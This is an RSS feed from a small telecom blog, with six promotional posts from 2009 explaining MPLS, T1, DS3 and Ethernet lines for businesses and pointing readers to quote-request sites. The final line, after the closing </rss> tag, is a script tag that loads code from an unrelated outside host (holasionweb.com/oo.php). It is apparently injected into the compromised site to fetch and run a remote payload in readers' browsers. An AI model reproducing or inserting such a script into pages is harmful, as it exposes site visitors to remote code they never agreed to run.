















<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Telecom Bloggist &#187; MPLS</title>
	<atom:link href="http://telecombloggist.com/archive/category/mpls/feed/" rel="self" type="application/rss+xml" />
	<link>http://telecombloggist.com</link>
	<description>All Things Telecom For Businesses</description>
	<lastBuildDate>Sun, 11 Apr 2010 00:24:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>MPLS For The Medical Field</title>
		<link>http://telecombloggist.com/archive/mpls-for-the-medical-field/</link>
		<comments>http://telecombloggist.com/archive/mpls-for-the-medical-field/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 02:50:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DS3]]></category>
		<category><![CDATA[Ethernet]]></category>
		<category><![CDATA[MPLS]]></category>
		<category><![CDATA[T1]]></category>
		<category><![CDATA[medical]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://telecombloggist.com/?p=89</guid>
		<description><![CDATA[Multi-Protocol Label Switching (MPLS) empowered T1 or Ethernet lines are perfect for the medical field. ]]></description>
			<content:encoded><![CDATA[<p><a href="http://mpls.quotemyt1.com/" target="_new">Multi-Protocol Label Switching (MPLS)</a> empowered T1 or Ethernet lines are perfect for the medical field.  Hospitals and clinics can be connected using these high-speed data lines to quickly and securely move large data files from one location to another.  Patient files including X-ray images can be transported from one hospital to a specialist in another hospital instantly for quicker diagnosis.  Collaboration of several doctors or specialists located in different offices within the same metro area or different metro areas can easily be done using high-speed data lines.  Not only can image and data files be shared, but video conferencing can be done as well.</p>
<p>Private, secure VPNs (Virtual Private Networks) can be created using MPLS on T1s or Ethernet lines to ensure patient privacy.  These VPNs can include locations within one city or they can include locations in multiple cities in several states.  These networks not only simplify moving data inexpensively, but they can also provide very inexpensive telephone service between the same locations.  The networks can simultaneously carry data files, digital voice and digital video.</p>
<p>MPLS is not a protocol.  It is not a type of data line.  Rather, it is an enhancement of a data line such as T1, DS3 or Metro Ethernet.  The enhancement allows multiple types of data such as email and browsing activities to share the same line as digital telephone and digital voice.  All services operate simultaneously providing natural, full motion video, high quality video conferencing, and smooth high quality telephone service.  The circuit provider can provide Quality of Service (QOS) to ensure high quality video and audio and they can also setup very secure VPN to ensure an extremely high degree of security.  The VPNs can also assist in managing a large network</p>
<p>Now, the medical field can take advantage of the same hi-tech networks used by other industries to provide better health care to patients.  To get more information or to get a free no obligation quote, go to <a href="http://mpls.quotemyt1.com/" target="_new">QuoteMyT1</a>.  The friendly knowledgeable consultants available through QuoteMyT1 can answer all your questions about their product offerings.  </p>
]]></content:encoded>
			<wfw:commentRss>http://telecombloggist.com/archive/mpls-for-the-medical-field/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>October Broadband Specials</title>
		<link>http://telecombloggist.com/archive/october-broadband-specials/</link>
		<comments>http://telecombloggist.com/archive/october-broadband-specials/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 19:22:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DS3]]></category>
		<category><![CDATA[Ethernet]]></category>
		<category><![CDATA[MPLS]]></category>
		<category><![CDATA[T1]]></category>

		<guid isPermaLink="false">http://telecombloggist.com/?p=61</guid>
		<description><![CDATA[Today, I have the pleasure to announce special pricing available in select markets for DS3 and Ethernet circuits.]]></description>
			<content:encoded><![CDATA[<p>Today, I have the pleasure to announce special pricing available in select markets for DS3 and Ethernet circuits.  For a limited time, DS3 circuits provided by a top service provider in or very near most major cities in the mid-west and mid-Atlantic regions will be priced under $2,500 per month on 3-year contracts.  This is an extremely low price that is not available often and is well below normal pricing.  Not every location qualifies.  To see if your location qualifies for this limited time offer, go to <a href="http://quotemyds3.com">QuoteMyDS3.com</a>.</p>
<p>If your business is in or near Atlanta, Jacksonville, Miami, Ft. Lauderdale, West Palm Beach or Orlando, it may qualify for 10Mbps Ethernet service for under $100/Mbps per month for a 3-year term with services provided by a top notch provider.  This price is almost unheard of and it won&#8217;t last long either.  Not every location qualifies.  Go to <a href="http://bestethernetrates.net/ethernet_coverage.html">BestEthernetRates.net</a> to see if your location qualifies.</p>
<p>For businesses located in or near Asheville, Birmingham, Charlotte, Charleston, Columbia, Greensboro, Greenville, Kansas City, Knoxville, Louisville, Nashville, Savannah or St. Louis, a top provider is offering 10Mbps Ethernet Service for under $140/Mbps per month on a 3-year term.  This is also a very good price and won&#8217;t last long.  Again, not every location qualifies, but you can check to see if yours does by visiting <a href="http://bestethernetrates.net/ethernet_coverage.html">BestEthernetRates.net</a>.</p>
<p>This bloggist will bring to your attention more telecom specials such as these as I find them.</p>
]]></content:encoded>
			<wfw:commentRss>http://telecombloggist.com/archive/october-broadband-specials/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Searching For MPLS Services</title>
		<link>http://telecombloggist.com/archive/searching-for-mpls-services/</link>
		<comments>http://telecombloggist.com/archive/searching-for-mpls-services/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 00:06:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ethernet]]></category>
		<category><![CDATA[MPLS]]></category>
		<category><![CDATA[T1]]></category>
		<category><![CDATA[QOS]]></category>
		<category><![CDATA[Quality Of Service]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://telecombloggist.com/?p=45</guid>
		<description><![CDATA[There is a new website, just recently launched, that will do all of the leg work for you.  BestMPLSRates.com will search for and find the best rates available from several top providers offering MPLS network services.]]></description>
			<content:encoded><![CDATA[<p>Interested in MPLS services?  Good for you.  Don’t know where to get pricing?  Don’t want to take a lot of time doing all the leg work to find your best MPLS pricing?</p>
<p>There is a new website, just recently launched, that will do all of the leg work for you.  <a href="http://bestmplsrates.com">BestMPLSRates.com will search for and find the best rates available from several top providers offering MPLS network services.</a>  And, they will do this for you at no cost.  All you have to do is fill out a simple, on-line form that takes just a couple of minutes.</p>
<p>MPLS is not a protocol, but is an enhancement of T1 or Ethernet lines.  The search tool available at BestMPLSRates can be used to find great rates for MPLS equipped T1 or Metro Ethernet lines throughout the country.</p>
<p>If your company has offices located in several cities throughout the US, MPLS equipped lines are ideal to connect offices using a secure network.  A Virtual Private Network (VPN) can be created for a customer by service providers throughout their network by using IP tunnels.  The provider handles the security.  The user doesn’t have to deal with security applications or encryption.  The user has a very secure network that can be used to move data and share files.</p>
<p>One additional benefit of MPLS networks is that the Ethernet or T1 lines can be used to carry multiple types of data including digital voice and video as well as email and web browsing traffic.  Quality of Service (QOS) is used to keep voice and video flowing smoothly and life-like.</p>
<p>There will be more to come in future postings about MPLS.  In the meantime, if you are ready to get your MPLS pricing, visit the BestMPLSRates site today.</p>
]]></content:encoded>
			<wfw:commentRss>http://telecombloggist.com/archive/searching-for-mpls-services/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>T1s Equipped With MPLS</title>
		<link>http://telecombloggist.com/archive/t1s-equipped-with-mpls/</link>
		<comments>http://telecombloggist.com/archive/t1s-equipped-with-mpls/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 11:08:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ethernet]]></category>
		<category><![CDATA[MPLS]]></category>
		<category><![CDATA[T1]]></category>
		<category><![CDATA[VOIP]]></category>

		<guid isPermaLink="false">http://telecombloggist.com/?p=36</guid>
		<description><![CDATA[Take your telecom network into the future with MPLS.]]></description>
			<content:encoded><![CDATA[<p>If your business has remotely located offices that need to be connected to your home office in order to share data, you should consider an MPLS based network.  MPLS (Multi-Protocol Label Switching) is a feature that can be added to T1s or Ethernet service that is perfect for use in a multi-location network.  Using MPLS, service providers can create one or more VPNs (Virtual Private Network) enabling your business to transmit all sorts of data between offices over the Internet in a very secure environment.  </p>
<p>Your MPLS enabled T1s can be used to simultaneously carry normal Internet traffic including email, digital telephone and digital video between office locations yielding huge telecom cost savings.  As a bonus, your network will probably work better than it does today allowing your business to better serve your customers.</p>
<p>By utilizing tools like QOS (Quality of Service) MPLS equipped services ensure smooth, great sounding VOIP phone conversations and digital video services.  Video conferencing between offices or with customers will be very impressive.  You will be able to utilize your telecom network as never before.</p>
<p>Where can you find MPLS pricing?  <a href="http://quotemympls.com">QuoteMyMPLS.com will help you get the best possible MPLS pricing from several top-notch providers.</a>  A simple on-line form can be filled out in a couple of minutes.  Check it out today and take your telecom network into the future.</p>
]]></content:encoded>
			<wfw:commentRss>http://telecombloggist.com/archive/t1s-equipped-with-mpls/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>T1-What Is It?</title>
		<link>http://telecombloggist.com/archive/t1-what-is-it/</link>
		<comments>http://telecombloggist.com/archive/t1-what-is-it/#comments</comments>
		<pubDate>Fri, 03 Jul 2009 02:23:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MPLS]]></category>
		<category><![CDATA[T1]]></category>

		<guid isPermaLink="false">http://telecombloggist.com/?p=10</guid>
		<description><![CDATA[T1s have been a mainstay in the Telecom world since being introduced in 1961.  Originally developed to transport digital voice channels, T1s are now used to transport all sorts of traffic including broadcast audio, computer data, IP traffic as well as digital voice channels. 
As a T-Carrier, the T1 is a member of the [...]]]></description>
			<content:encoded><![CDATA[<p>T1s have been a mainstay in the Telecom world since being introduced in 1961.  Originally developed to transport digital voice channels, T1s are now used to transport all sorts of traffic including broadcast audio, computer data, IP traffic as well as digital voice channels. </p>
<p>As a T-Carrier, the T1 is a member of the North American Digital multiplex hierarchy.  As such it is primarily utilized in North America.  The T1, also known as a DS1, operates at a data rate of 1.544 Mbit/s.  Other members of this hierarchy include the T3, also known as a DS3, which is equivalent to 28 T1s having a data rate of 44.736 Mbit/s.</p>
<p>So what can the business owner use a T1 for?  Providers offer T1 service to provide a very reliable connection to the Internet.  Specially configured T1s can also provide multiple services simultaneously.  Internet traffic can be combined with telephone traffic on the same T1 line.  More about this in future postings.  You can also learn more at <a href="http://mpls.quotemyt1.com">MPLS.QuoteMyT1.com</a>.</p>
<p>T1 service typically comes with availability and restoration time guarantees.  Whereas other services like DSL outages are restored on a &#8220;best effort&#8221; basis.  An outage or problem with a T1 line is guaranteed to be restored within a relatively short period of time.  T1 service is also a fixed data rate with dedicated capacity.  DSL service, on the other hand, does not have dedicated, fixed capacity.  Capacity is shared in some portions of the circuit with other users and at times can provide throughput substantially below T1 rates.</p>
<p>More about T1s and how businesses can capitalize on them will be in future postings.</p>
]]></content:encoded>
			<wfw:commentRss>http://telecombloggist.com/archive/t1-what-is-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Welcome to The Telecom Bloggist</title>
		<link>http://telecombloggist.com/archive/welcome-to-the-telecom-bloggist/</link>
		<comments>http://telecombloggist.com/archive/welcome-to-the-telecom-bloggist/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 13:07:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cell Phone]]></category>
		<category><![CDATA[Ethernet]]></category>
		<category><![CDATA[MPLS]]></category>
		<category><![CDATA[T1]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[VOIP]]></category>

		<guid isPermaLink="false">http://telecombloggist.com/?p=6</guid>
		<description><![CDATA[I hope to provide useful information about telecom services and products that might be helpful for business owners and managers.  ]]></description>
			<content:encoded><![CDATA[<p>Welcome to The Telecom Bloggist.  Using this blog, I hope to provide useful information about telecom services and products that might be helpful for business owners and managers.  Using this information, it is my hope that key decision making people can be equipped to make more informed decisions about telecom services and products needed by their companies.</p>
<p>The blog will be kept very informal.  It will not be written for geeks or technical wizards, although you are most welcome to read and comment.  Rather, it will be written for non-technical people who are looking for easy to understand information about products so that informed purchasing decisions can be made.  From time-to-time, I will also comment about how certain products can be better utilized to help the business be more productive.</p>
<p>I will also use the blog to introduce new products that might be beneficial to the business.</p>
<p>Although primarily focused on products and services for the business community, I will occasionally comment on products for residential use.</p>
<p>Generally, I will not be commenting about politics.  However, I may blog about telecom policy and telecom regulation as well as proposed policy and regulation changes.</p>
<p>I invite you to enjoy my new blog.</p>
<p>The Telecom Bloggist</p>
]]></content:encoded>
			<wfw:commentRss>http://telecombloggist.com/archive/welcome-to-the-telecom-bloggist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>